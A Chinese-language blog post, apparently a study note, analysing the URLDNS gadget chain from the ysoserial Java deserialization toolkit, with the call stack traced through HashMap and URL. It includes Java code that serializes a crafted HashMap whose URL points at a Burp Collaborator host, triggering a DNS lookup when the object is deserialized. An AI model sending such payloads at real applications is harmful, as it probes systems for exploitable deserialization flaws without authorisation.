ysoserial之URLDNS - P1

ysoserial

官方Description

ysoserial is a collection of utilities and property-oriented programming “gadget chains” discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

简单理解为ysoserial集成了Java反序列漏洞的gadget(利用链), 在利用Java反序列化漏洞时可直接通过ysoserial对目标站点环境进行定制化POC/EXP生成。其中包括但不限于cc(Apache Commons Collections)1-7;

实例分析

本文将作为笔者学习Java反序列化漏洞的Part 1, ysoserial中的URLDNS可用于漏洞探测, 当目标站点存在反序列化漏洞时可使用此gadget发起DNS查询。因为URLDNS不依赖第三方包, 所以只要Java应用存在反序列化漏洞便可用此探测。

调用栈如下所示:

HashMap readObject() ->
hash(key) ->
key.hashCode() ->
URL.hashCode() ->
URLStreamHandler.hashCode() ->
getHostAddress(u) ->
java.net.InetAddress.getByName(host) 最终发起DNS请求

首先来到HashMap的readObject方法, 在1405行处调用了putVal方法, 传入的第一个参数调用了hash方法, 跟进查看:

image-20210104232156789

hashCode默认为-1, 调用handler.hashCode(this)方法并传入了自身引用, handler为URLStreamHandler对象。

image-20210104232745981

在URLStreamHandler对象hashCode方法中调用了getHostAddress方法

image-20210104233425617

在getHostAddress中又调用了java.net.InetAddress.getByName()方法发起用于获取IP的DNS查询:

image-20210104233714577


回到刚开始的第一步, 如何得知key为java.net.URL呢?亦或者说我们如何让key为URL对象才可以利用, 在readObject方法中可以看到:

image-20210105101638720

找到序列化方法:

image-20210105102212677

在internalWriteEntries方法里循环tab变量再写入对象输出流中, 而tab引用的是HashMap的成员变量table

image-20210105102340369

回溯一下table成员变量, 在put方法中接收了泛型的key, value参数。然后调用putVal方法, 在628行处调用了resize方法

image-20210105134950757

在resize中table引用了newTab变量, 而newTab指向Node对象:

image-20210105135248733

现在能够知道table其实就是HashMap$Node(内部静态类), 不过此时的table是没有任何元素的。

image-20210105140607671

此时继续向下执行705行的if条件不成立直接return newTab, 回到putVal方法, 在630行处调用newNode方法实例化Node:

image-20210105140854784

image-20210105140921388

image-20210105142045901

赋值后再看table

image-20210105142431313

可自行使用如下代码调试:

1
2
3
4
5
6
7
8
public class URLDNS {
public static void main(String[] args) {
HashMap hashMap = new HashMap();
URL url = new URL("https://dnslog.cn");
int id = 1;
hashMap.put(url, 1);
}
}

序列化实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://jre8psqk25as65aql9xwutcv0m6eu3.burpcollaborator.net");
Field field = Class.forName("java.net.URL").getDeclaredField("hashCode");
// 反射获取私有属性设置此项
field.setAccessible(true);
// 避免调用HashMap.put时就发起请求
field.set(url, 1);
hashMap.put(url, "1");
field.set(url, -1);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("URLDNS.txt"));
oos.writeObject(hashMap);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("URLDNS.txt"));
HashMap hashMap1 = (HashMap)ois.readObject();
}
}

image-20210105215621738

参考

Java安全-反序列化篇-URLDNS&cc1-7分析 - 安全客,安全资讯平台

Java安全漫谈